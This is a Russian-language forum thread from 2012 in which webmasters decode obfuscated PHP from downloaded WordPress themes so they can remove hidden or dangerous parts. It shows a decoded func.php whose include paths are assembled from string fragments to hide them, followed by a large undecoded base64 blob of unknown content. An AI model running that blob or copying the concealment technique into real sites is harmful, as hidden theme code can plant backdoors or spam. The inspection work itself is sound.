X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

3 страниц V  < 1 2 3
Открыть тему
Тема закрыта
> Обнаружил в теме такой файл
Nikson
Nikson
сообщение 14.7.2012, 1:01; Ответить: Nikson
Сообщение #22


elvis81, спасибо за информацию, таким способом я пробовал но на локалке, ничего не вышло хотя несколько раз перегонял, завтра попробую на сервере, утро вечера мудренее...


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
elvis81
elvis81
сообщение 14.7.2012, 1:08; Ответить: elvis81
Сообщение #23


Nikson, Я сейчас перегнал уже 6 раз и только после этого раскодировал код файла func.php
Вот он:
<?php
function func($a, $b, $c, $d, $e, $f) {
$s = '/';
$Patch_func = $s.$d.$b.$e.$s.$d.$b.$e.'.'.$c;
$Patch_ini = $s.$d.$b.$e.$s.$f.'-'.$a.'.'.$c;
include (TEMPLATEPATH . $Patch_func);
include (TEMPLATEPATH . $Patch_ini);
}
func ('ini', 'u', 'php', 'b', 'c', 'wg');

function get_bloc_inc ($loc)
{
switch ($loc)
    {
    case "top":
    include (TEMPLATEPATH . '/buc/Front-Top.php');
    break;
    
    case "bottom":  
    include (TEMPLATEPATH . '/buc/Front-bottom.php');
    break;
    
    case "top_list":
    if (is_home () ||
        is_front_page() ||
        is_404() ||
        is_search() )
          { include (TEMPLATEPATH . '/buc/Top-List.php'); }
          
    elseif ( is_category() ||
             is_archive ()||
             is_single() ||
             is_page() )
          { include (TEMPLATEPATH . '/buc/Top-Gorizont.php'); }
    break;
    
    case "bottom_gorizont":
    include (TEMPLATEPATH . '/buc/Bottom-Gorizont.php');
    break;
    
    case "bottom_gorizont_singl":
    include (TEMPLATEPATH . '/buc/Bottom-Gorizont-singl.php');
    break;
    }
}

include (TEMPLATEPATH . '/buc/admin.php');
?>


Метод рабочий, только вот 6 раз прогонять один и тот же файл задолбался.


--------------------
ТИц поднимают, поднималкой для ТИца
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Nikson
Nikson
сообщение 15.7.2012, 1:41; Ответить: Nikson
Сообщение #24


Спасибо. Я до этого по 4 раза перегонял и плюнул, сегодня по 6 раз перегонял, все норм, правда в одном файлике получилось много мусора, ну это я уж разберусь...

Все 4 файла раскодированы, 2 после замены работают, остальные 2 отказываются, чуть ли не на каждой строке выдает что синтаксическая ошибка, которых я в упор не вижу. Может оставить эти 2 файла? Как ПС относятся к base 64 если левых сторонних подключений там нет? Есть мысли по этому поводу?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Electric
Electric
сообщение 15.7.2012, 10:40; Ответить: Electric
Сообщение #25


(Nikson @ 15.7.2012, 0:41) *
Может оставить эти 2 файла?
Лучше раскодировать и все лишнее (опасное) убрать.
(Nikson @ 15.7.2012, 0:41) *
Как ПС относятся к base 64 если левых сторонних подключений там нет?
Если код РНР - то ПС (Я и Г) увидятттолько результат выполнения кода. И не увидят base 64 вообще.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Nikson
Nikson
сообщение 15.7.2012, 16:10; Ответить: Nikson
Сообщение #26


Три файла раскодировал, все работает, остался 4-й - его раскодировал но много мусора. Эти все шаблоны отсюда, в первом посте код SLAEVNEAN тоже с этих тем, функционал сборки практически один и тот же +- поправки. SLAEVNEAN ваш код тоже с файла buc.php? Вам его в теме перевели без ошибок, у меня после перегонки куча мусора. Может кто попробует раскодировать, может без мусора получиться, от меня поклон и благодарность. Я не против закодированного кода, но должна быть уверенность что в коде ничего лишнего нет.

Развернуть/Свернуть
<?php $QB410F91A2586826B3D874CC5D5A76389="eNpEvO1yqzoTrXtJG4FJLf+cGATGRgShD9A/QFQwCExsYmOu/jTvrjq7Vq2acyaODa3uMZ4hIH52f11+rAuVbl/b1DS3f1/nAOfM6rwz9s48FH+lfRxUcf7Ro/hcb//Wa//P9bO5oPz8k968u47oO73992rC7q3+//dxu2Y83svc3arPf+R0u7/87P5/vvv3/9lfd/5nXa6fOzkN/+/94b08PhzPWe5lOfZMPZKXCsXnHCl4v8NPkh/eaWZdhCVOZ//+U0XUavz76+p49+b/HedfWcSvKgz+Gvu5f+bv9W1dYozDjNGQ9uWWchFkVoYIxycaYEyHEpGtwwlL1qQvLbJZN8XdVxK6aVKY
F7F1UeHykI9a1AwnSeB6kuuv3GCjrG7IpIgzW3fZaERSkC82HEdi4weBOkmsCBEezkb0B3W6kUAhdnpu
i
X129fB21BaXJP/vTW7HRA+HQxuiMod/10hnhB9fAnd/SWSWZCMPkR9VJY8uQdS9bOZdR/RTWeJTMfqtetrrzzLzsKPstGzapn+1//NgAg/EFxce3l3mnF/JNDNlvZ3rZnoi57HCCiUs2OpC/GrfnLl1PKRR8lI8eVFnnplv4mrTS2PrKQ9c0kryS0OVNZvweK/LNCS4EeKQ2PjKTLzl9qrKwXpVxruU9vlAZemk/DjnNr3KkKZ1ZHhtLZMYLMRwnDDU+WSaFecrVjImHEpZh2om++f5iVsX+i8z2UMN85UN86oGd8zGBokNf
0PZD0LM7gV1W2Z3DyHuHxKJgTrZITktGQtJx3EHfyJEpLDV+N9G+xi1Mnhwn6TMoQ9pCK0ZmUpxdlIfF
7
QnF+JrkTvZo548VPVdVTl3t9481AzLQguFtHRHNr4PrfBYZnSp+swtmRfVU4wvNi2pvZTViEI4F8McOC
3/51Cj+6Ps9VbL+aB9chLBUSZ992mEV9Q9nRP7cCAD+VNY94TFeWP0N+s9lBcE1lKkYsKv/PO0m17Duqi5HWfRhuTGHbOwiM55P6wJF6wZs1X45Nng2aYbiTTWkw5cIcLlJhxl6mkmLIjXNCBW28cml
fjNR4pkT4f8syxt0SUU0V6O8cKw9+Tj8kyj+bv2xTuPhNPCGtdOTFtOvsqJ9jW3VhXEg8YiTuxl4rej4
b
f/3m3kVcyivcIqqEK0ZZtySkOWi72axKak4svCbfegh27l289HGX0tx7UUWNi1M+cKe9fMPsJ8aFlOypXh
bCXGO0Gfv5np5rLgr9zP3Dykr8vG3TrEoezVF/Tzh4WNnffxmAjyVdnuu5KD28B75kPz0QUplVwl3XSXyPXaIO5qTCM2mnvui7B0xJIW4pJY8HO4O2Sm69
vBXRNsvhIsnnqcn5pxu7Lj8OrMSbKJv4x5KQm7rJlmmF/Fcja80sg82Bi84PVWKv6twgxrycVNjTEpzc8hwfOkgsZq5XzOx5XnoXq0w/mR+CAYaObEVwnxuzMP1k9pu10Sxn0lOkuy8pVHmjLUuIlcnqAzVzHRLy7h65bZqsBcmeVubVC+6uGYap
8muSnfzUAcHQ12Y+IsifCdYfInhY4IU5jInwcZoHes+SJlicohO5T2fzYce5X3oiwHYrMpjvKNrtrQ39
z
nFh/+c9se3ymfoVfKVRRxXglScr8zIqLnesTf1G42PWhHyjViA0Ha17Ip4ouSHYV5TBroGZ0fqSjEXBcBumy
acyksErgBZdjVjr63vHyDKBSgZW7qqz/OD04i/n2yaTbS1+cc9LwcKejTsSw3ldZj42ZW4GopVBvxVbHs0Qpjrg5BJBT9xTocUjEHbBShBI2DPr9qg1kb4
kEZurTBD5KF6aQQHujvpzXmzgr6lQ9qqAUVGeIrgx7jEy3a2/JdBfoDa6BgrapsdFllEQl6mTeMXCQmPZ3UVy2Pg5Rn0Klkg/WQuRAb1Aolk3nrUC1yWJxmEq6Y+EHz46h86N1JldlwttsA2ibAVWLdt6YwtEZqFpJWLe+ImDxHoH8oEd
xqR0Iqhy7KSWximbTeYphVfGgQHXgws3ZEcSrXmEnikmCwRYGLq9NN0nRlZcinDpanjjrwHGyzTRTcwW
k
j1V+2CVWjmOQhPjCfepW9sDSM30mBX2Jwe4Ua1PL5VhZGKl+jhq+HPDRCOPNLFj8WvLYqNxE1jrDzYcm
p
5VZJuGLhkPWCmq0eyBd89kEHZzhy4zWjmQg2VE3DpxzE/jmqGRDPnMytwu6XTHhlI3rJYd6aQL8u9vFS8tjkNnpU8rwKC4nMfr9rLKDjuq9mXF+JyBxadH+10/VVJJLaoZUYVJgH4ENB91B+N9TcdEpQU4PfauAfOYlVOf9sEuolG8ThYj8P4NEw/++1NiJVvHlpTrgS3p+QhDc+iViov7j4eSTcLNW4q+8Ami5Eg+MYtEJVPfCMo2mLxahD9C4dDnwTrMqan
wIb0JzFakKVglfmechdFuDfZjA3GQRWLvkH1vnFA5SnfvyEc0dQh48w0L/IG1O5SOAHuwmPVE56qBzPViH5FRut+G0hoKcUfHho5BNqPYMmk1M5/jgVovF1U1Zj7nYdojAN0EmF+lEH4lk5xCMMO0L8c5kcHHZbSuEHNrX1WtrrI8Vi4UwnNaeoAT0R8DlXa
7UFo2+N7hbptZ1La20i806FGoG9VmCtQzuoLBnEIIL4dLGXjYeU8ED1TSHudOSHxNEFeJaX+kTUPQb/cx3Kzhsd14/21SpNA8xirnCOSoBWgq9AfQ4vhcRYcgLaoJ75gM7gdWEyebcmOP4mJgZnpUllZe/WTxz6AY+217IOkGx6fCKBiaRPwIPcjEfBljsKtLf8gA5jhrtI4PhKpPrWEmU5Indi6AbefwN/fDQ+XtXp2Dci5rUtSg69QSyCVG8SKshYfY5nigTip+VWC5LVgyhzoQ5qtLZq6iJilY4Oj6kKFi6H9Q96
32L8CLyx/nFp4gt0b+WABgZnVA/0OynOUBOTCls8VLhgYBLGzPkF61UlA1mESBzex3Y9dkwJ/cyF96ZbvFzteSICWEXOpR7OrrLdW2N1HzYIBDM6gM9Ogs8VY7EUkYA16EjGSKon4tU9mYU9P7Q1BwkiE
ZEGvA/01zrKig+Hli+WYoNTM+DrwntlovyUnGYs8i55OJ9LJkpV0KJh8TkblrEqqKzDxhW9+CQhqRieO4rUhVk
cVaBbzAa2s7CdMlOVQ7m2BUkuGy6UzV3qJKAzS94ORmiuIhUc79R0JkH4ycLVAf37JCixaw5zVlADtf3
k
onm3I/WotaJ26P5K8MZ8JHEOa54Y7DLreGpNY8uI2IrpigV0IpZLQKcCahunlrEP6zuWBab1liDQnDsdjmtmx6
MY47uygBp7PSUjvhFrzq42WVsjeDJ1L/C5pWTxqQZtz7jaEmgmJuaeM89lPM5bJu4qnC90XE7lsH4SOwZN5g8VZA6b9BO83EojOvFRDHWhqmwgWe
nMrLFjxY04NzAbpePxJkQC+AVYz7za09PJBPCH1KBZuGocs9asC3QYQw/NfQK1rjE91AJY3ng+s8l3aYGuFfgr32uGtV8ZdUqAdsFblxrB55yAN07LlxzJkoSmB9bFFXB4A/wB9cjyYnAqyw3Ipq4w3yUFBs7D9bstZlcyLKmgd+gdyQq15KKzlY875cRXZeEYNCC6OjFJZWLJUUPNac
psWMcJp21kJJPPtTRxQfxyq/LnSqb7qxxJWUddxKV+A9M4FFJVPt7dajABaLHb2JgzcT5kA3ow2Y0J1zZkQ18Fbtxi75cb+l1KY2ofP5
XTuK05vxV4lgjmLxYccyIzmP84E4ZegV1KGZCcOqWVF+VLjHeHTCoDznkSoc9Qv7+rfeyhz+PGvh+4r8
4
1StwK3Q/C7uxqVF8tns+tT7taLjMw385fW3WDbDTGgKgK4Gl1an5w20kYyUvgx3kpt59DhXEAblLkhTJM6A+zoEc
2IJEQS2CevAnpLXNKu4JpaOzkleOZVODdJdSyKUjMAmFRW83ASd+liMPGEiUZuq221opE8132zQr+Dfy
5
OFcLf7ejolQKCpoQaNMNwBq86uNb8zkGeotl4uBTCjlNBe9H7nsllesXHcUnj2bGo3mfM5UzEuQysbl1
P
hBhgjSwNshFI1CggswbSjOg3CGEFXDEEsUt5Cxula82ok+K7xa3ly/IDjM9HRENOgz1GTLQQ+glkQ9Hl1sddIkJM+66Kpi7C9JzCnyiLSRl7/Eajh/YElih8xia14tjOjiPJw3WB+PuhxYa2HXN27D58NvzRYz+o6i7JODZOetIMhyTBOu7dviHRuTMIRfUIcz
ziC6tGQ7ytHjlpP3coifIgX8Zj1MmBdIFaKmAPoM5VoV3FciE2pBKs+EDGeMXGIeoQqnMeCv4y5ojDzj
X
2yCj4yY05GKBs9hHd/dnCZ6T89jO0eBw2zyBAQ/qdnww9M8GDVnTgoj8tkzEBs8sTJZbnWrG7kxD1F83T+YRlhp7ZYk6QQIME8YP2YSBzelEx6OvIWtUhqa
Vice8JwY4dCK9AWAgiI8uTYPyIQIVUuZNCtM+GRdwCDoBQzvAaZ96EpRxfWc+7nWPEWj5X9OrHo6baKC
E
eoy/hDUXJFJ/u0epEQEZH7mI4kUXP06K8QzH+1DW0ykd9aLMvBRkeOCPhcoFlCLGGc8eOVYu2xTmDr3TUDPwhd9E4g+c
v5SR+TR2BlnoeCCotAisKTOkB+QXNfYutVO+IS+jZsSy8amjreMANR0o01cxGJSz+HkFf6WhmmEuHxnq
R
iXwSUb3FealrMIDeDOtajvOJD9OtQDuhGVKsffIhIc4Mud8ioNGBGsTzERF4l1v2tTS/U2LeWh74TOfpKSAPDTOYV3EfS27Arj8zPjh1Yb0V0rzRSGT0AB1u97rTS8p7m5sG8Bp9ADcWSRjd0giS
qhNMvA9pEJkSvBuyL3xxeoucNy/aYir1qipdsxU9vFUT+UDvIVB1rtlAvfJhn8zdP/kSBjIjqwajh2zMqeVuqqCWTKOvyrwKT5qJ4e5ySbvDfn30sjuBuv5Vfca+lRTYJSinf5ZCR8eLcaT2gZ
bDsalQ1eAFy7N4L6SYVmhXgPkh0HZMU+i+FeO/6GGKQlZRGrWAZcDFTkE8izmOcIukfcX9PmsQHfIztsFOSt4j5J153rA7zwUcRIeUDuebch/Lrynl+3zZmmWObqH+kxAlWtiq6tkiVNuOq6lTqphDUq7K6H3ZhJ1jIh45r146OH4lVtLnnA3Fr3KdIFv
kEnQ1WrWJNBOg4TSYr6DdwY0pFhJQkqklsxGW1WopzQ6T8YAMch8NF+A+1TFI7M1jvazYrYrBl0FeRL+
X
NqBo9qBzIlj3I5GsIjkWe/F1CK3i3W2Eox/ZeGNeeRR0BalOInSUJ1bpk61BB4KjzcxHLOU/UCqjlE1PFfIOCtk8I2FdCaDrhRwKhV6yorhBXkgY2Oz7oxQ4/mUbGcbWDqi48+BQQ5LLFoCz65cHhGToJ1i/gPWc4Ufr4nTJU0PrACzRzbKLpvyRQjzMOAJ5j1uEDm1wf2hhBhgchYi5zkzuNOQnyBzUMGaVdv7e1FK+
66oovisBjQBVx2qSH9r/vMBLxUqeB5Agy/Umg0w5gKzCGwcv8TpeJBFYrWSjCWav0AP32p8Ww2nPmHdo44U1HOxFY9hrSD+huuJTprrQJ30pkwbiQV
YnnLr+EUL8YCM81EI2y3zLrr3FhXBfMt1KA19gU2sJcAz9fc9VA/rcT3JoovJQActf9xUAnvzuEs4/WoNjXKhf/fMyHAMLDqrlKkD5LQox3GXSvVO+jhp7OHAuVtRX9HKKUEn9MixGqperDUyKcycBX2A2nA5V0FzoKP+qq
YYEaz6FLxOBAgYKniUHObCBt6G3JTse3pAeSTEfxXoIuQC1YjZgcxt9r1WyArXCyROIfmrZF4OTPtorD
l
nfHjBcQyKL1eJwZsnVZFB7Xv2IYNehTV30igOK95RyEo4xbPSwRLRIr5r470FJyNMY9I4HeTR7pZZIib
c
fAOP0qutrRIRAWtqFDYMavALmuvCLJeNtQjq3B/AYAXwHmlCF9hI89aYBwHOguMbE/yzXiwMSYmsFGYMeO5Q9tpnYTdQSf0MGDAfSA6ez+rTf289mooY/G6js81tqLVFP40zDwzYBDg2Kfli11b81wTLtRL0T1kiTwPxIKL7g+wwVpN31wXw/kTgtcepHFQnxb9H7XSfNhRJMwVvEQFnhf99YL0vbWGiUoLj3JZN9rFIgvJwsWPKnO7KpxK8NJ5gDZ+8V
3cWzZOYZv8C2bWVaNAwcynr/FxATuy9jBfeX43OkImVwwN6aor5rqRI2rC0haCBmBLg/uTV+t2Th9aDWcgCz+OZpTLwIJQNVLFIrNkIDOyYvsL6/L89z7FxqUksZqNn5ZO5CdZJSfTKHfAuaLqU//cQo/EpMF4qzBdBtOc3yDqDUGSip4ThSXJ0JQP/wNxdGW42hiBrWju3w3H2hFd+bIMmHKhFw2oq1wZlTt4byABxxKxlKDlwTUAuMlwEt9xXXggC5MiS0XUS
bMbcBvV0vLjCXcEnhdKi+WjL9DIHj3ew4D3t4fxOkpFNS1fIYF6yfLFAN26pEDNkdUqjwaqtu5X34De9
u
vDP0SPWz8a5LoAxt0xqIcZhg0pmwBk35dzh5/drNniQAw7TyBsyWX40Iomwfl4KMr4ovLM03SnrmwPwtkOG5NFOhNZyzuW+bzep+GIPkCPMN2iJU07Blg
xP8DCYRTGDBgZvbYPvBvSu+vPG7aMvRwy57L7WPj2Xjpkp7p4CY5n7NGIDt/QAfeTolQzzpn3vTIs5bQPtVs6PxXGHhI2u2W1RJRdZyk0I9V0zlDyAGzzINcAK+JYhvTVjstGiXMWmtw
T+VIiWex3pZjh4yVkgfKm2xCUBKlPpTpx1hgbvldq4gh6MyhF5Nfv3Lj/PF40gkzp3u5mEzIPmU9mLZI7IwKODapqdtMgcGnUfqOPhgnYWQEPu/HNrOzvInr5K3inQHbce7g5kN0/jAdVBtqUygI6ZC8jbYzto4HZ1Le3yI0ezMG69RIh7VgDjTHOm8qOiME/1xpEqOkwFZi0XZyKFyG03gtrQTMQ2G8y55nFRhy4BHxw1U9Gu0xn/eVWR52UjRI/w+FXb5btl5A+y29SMUCN5Bw/BpYjMmyEaa/CSmq9/ytBPzvlBFHdQzxirz3HNp+YFmfeccldCvaQOCDDmPPDwvwPw8qoj8q4wZWyIw3w0trwtvxckuvKzQP3U
loYJktg88iAmsgAd4TppOI7p9vPKTPahG/jI5IVJQdPGMl0+PlHqi0qHZ+gvfL7apGoGUfCC2LQH9ufY5b734CHkuNA9NJYu2EZSZeIvzrszrNspvz
1XCqAnkPpOpm5p7C4BduizXo3AqQOB/JxL91MPam5sN9BFlyWnpapGMTBMX2owBy3PL9AEBN75plgQ8Mq54vTEAMk0+ofga38kormSy7e2dNkWw
QvO/a+xoB7oH3ibyOg0PxLhOcTuLmJ8btD7sxrECGTuZL2wMyvmkDEWCRk89b1CT9Rh0EOtD1zFfw4ax6+ki
OdGuqDdWMDn/NXS2E2IL22vGWRoSFezaCM4T4cGkqlYjh1wxnklHFvJ6Vi2U+zoiD+qkUNqMH8t/A/pZRVggCXoJQc2SULrxYVxa+A6YMqDgmQC+c1NBuo1U1xk/LApK9la0XnVZzGKu+eU4WcrRQe+GTHbJFyCD3F6zgNRqDF+VVNj5cNayWhe6z0PTmaFbHqj/Y9zdeaDcnSnwdObjYxkw9/aPh/g8wLIzLbYsq3aYgE+43LIh3QTdyaPYwvJjdszLce1T6SCOq6gEeZJev2rx3gqizkD7b9ftnitQh2JyZT
NaDki8j6NSVxtKAavCaBGX2oUfgVsxDmqquluq8EN5AT50AJ2KdQdfGmE7LTv59zEfqUCZjCVx0RPwso
D
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
z
li/HAgfA72+34T4PMEjrFmDeRj9wZzVWrTPWouuhT8VdvHc23OwAbkklki0aGYoDP3+ThTQ4qWo68mJEMt8
VlvwyMDGtco+JBeJaX130cMOANucRqIApAREWhlwUFda6bTSh4vnK/fAmaxDksL+B3x3gxKYPA6ryi38wey0Ef4kAED7TUO/eK+guOloyqwTCT4jlXC7HoZZPgK6ncR4E3AaDK3/3txM0PWIQe6qZBG3W8Tds+KG0l21rGRAO0v8qF0VPCE3Ac+wE0GczwBiDySsPutPv+twJe+Hsy5nbAFn
IYTG9/z6J912UiXi27MfQOZGrLeROCw57z5LH02GZFPmEqj9/21r2rovqS4r81+TybTQ4NU3lgG1pIfYL1SqCfMpYmzaU41U6WcyDsNUCfx/F2awCWWG6XSGNCUgQ6W1Y6L5MBxPBheVYAqOXUixXquxhnroXvowgvBK13oK0P36zjAq2yMD2nQJSrsP
tkE+T4QpvLNL+eWnbHMySAvNsKAUas5H0Gp8ucjFQTmWUC/HHvwyz82QrYRM257utZmlpAXFcwvglzKSh4HDfaClA1OMy68iYil8uWe+uXW2Cik1nFs/O6acZKIoLSq09NpJlhLx4xtUb50RJ4UdTfG5yyZiFUOi9OORwqufsuku7UMmN3CJ+iuTYcYshyQEgdeP
h0hO8SX2lFXxnSRDB0vp/mdjOYho32f6fyQkLelfFpUUiB589Lmn8P8mADxG4bnTwk/w/xuBsSlpPAC8llsHhiRDDHhUn0Rx6tocPiI8H6o9uu9Qekm6N+BDQhyY+aIyRhY363sISsH+pwMrk+Yl7
BJ3ejU9cBxfzD1gQjXmfIlSrDYkl7fCcMx0OapGg5WI4FvrQ7q6d0Tv7Nr23X0fg+DdbzWo/sNmewsGHEhDqPGqBmy+SkrDCXIWyR4ZeI0Tg58A3MumuDgJjK+XlFw4L16Sp44SaCnfBML8MRLD2Rhjv
oSQUd4n7jUx2Em1Jbn+7MKB9AeYHE79hs7A7rvMpiTs3C6Tfe6qDZRaXl/8IAsdUEfjUX/ZAhaYowpN+8GXjhV0lT1ZMBzdMC3bqHjmpe9eVBGCg4aRQL+ZgxmodBfVdCl0hdPtf1b69PyXUvQq7Dj
Df5ngd/fkxBBP5Ek6wX814EW6z8qdyYWn3agGSvuD4YozwN3lgVoiGOuyeT9sWh45Z9lUvZ6liN6pBxnzFqTCg+
Hxpr3+//LvOcfWvwcYEqkiODTOLyv5T7bybwvdgYZCnfZRL02hBxvH//qYbUzrlQGs0i4m2bMuJJ5kO3VDJW6tyE9X2yC1Hh/QXZygEE+wAouTNMf4Xp/DuNOpi4HnXrSYUBSgL4BW9bDPCdB1yeYFtTRCx9j0MT5rw1L8HR1anrg0J6vbUROidzv06H79U2SwazK
aN7ycPkCRvavjk4T0b0bOXsijCm3sy0TMyJwfheHlkLSGfL3nOLMzszwzgvtE98s2qEbaM6HjJRDv17g
a
zz7/OfmFk0a0/E6pIHCeKrH7EMwfacSO8CCdju433wkT+jsSPDundjvT2bD63zgss9ScIsKXZgS2EDxkfoZn8+qoGBmbl
6F86v2qVP7DRL8bZeFfoFzF5U9vIklympcSV78vAhk+WQkK4irSIPjF/SbXYmOU2BEsMZQCeUJf78PiiTc3vdfMBAC8sCzgBvcX8q7r5LfH2nI3aQXS9abMwmwy5D3grxfqUhPKb
7b3HQbLbpnK+9Wy/ZnE4aVD8tdBINbcry1En8lE47Agwn1A6cuzFiPyzdleqkt4LD93totnlgI/utr0oRiz4h3HdKbsKh73UAPBVYZwycFLJbYHdKGIB4RpbGX19CpUiopC51B7rXyADn0tBzaSb00Gt4ce
2FtCAMfg/n9sZJA2DpcWDu6DkSvc807nvEF1yI5lH32kcUd5Rzq72QfJuYK8rQN5z3smqz8nw24FkPOda8WsmRQIj
Fon0+YNFCTtFCkto83Xez3ZmgvLfTWgo8rn0L+pi8ixKG0B9TIYffBKe87X4WiAJ2aFaevRBgnGddHJY
F
L9735Qt0p5CfwLFgb/rrYlq2D4VOF67Lncpj5mxyWKx3PNrkdGRnnoDY7mymbbQQ8XXTtGBvua8g1ccGMh8kUfCqf+mwkRoSN3
QAHZgabcnRHyElURzTPx7errPja2KsDere2gVbA+99KAufC62tbn6vTEbWT7tqIipqpSE0zzN8bZtbrm
k
AJ4CEMsxGD855TX/UNJ50W6sqFuEIOdhLIHckgnlUIpg7rkkbeCbJFAjk4VhOpNGhU9gGO4mZorMDJ+xhlvHxQiyJALKcO10
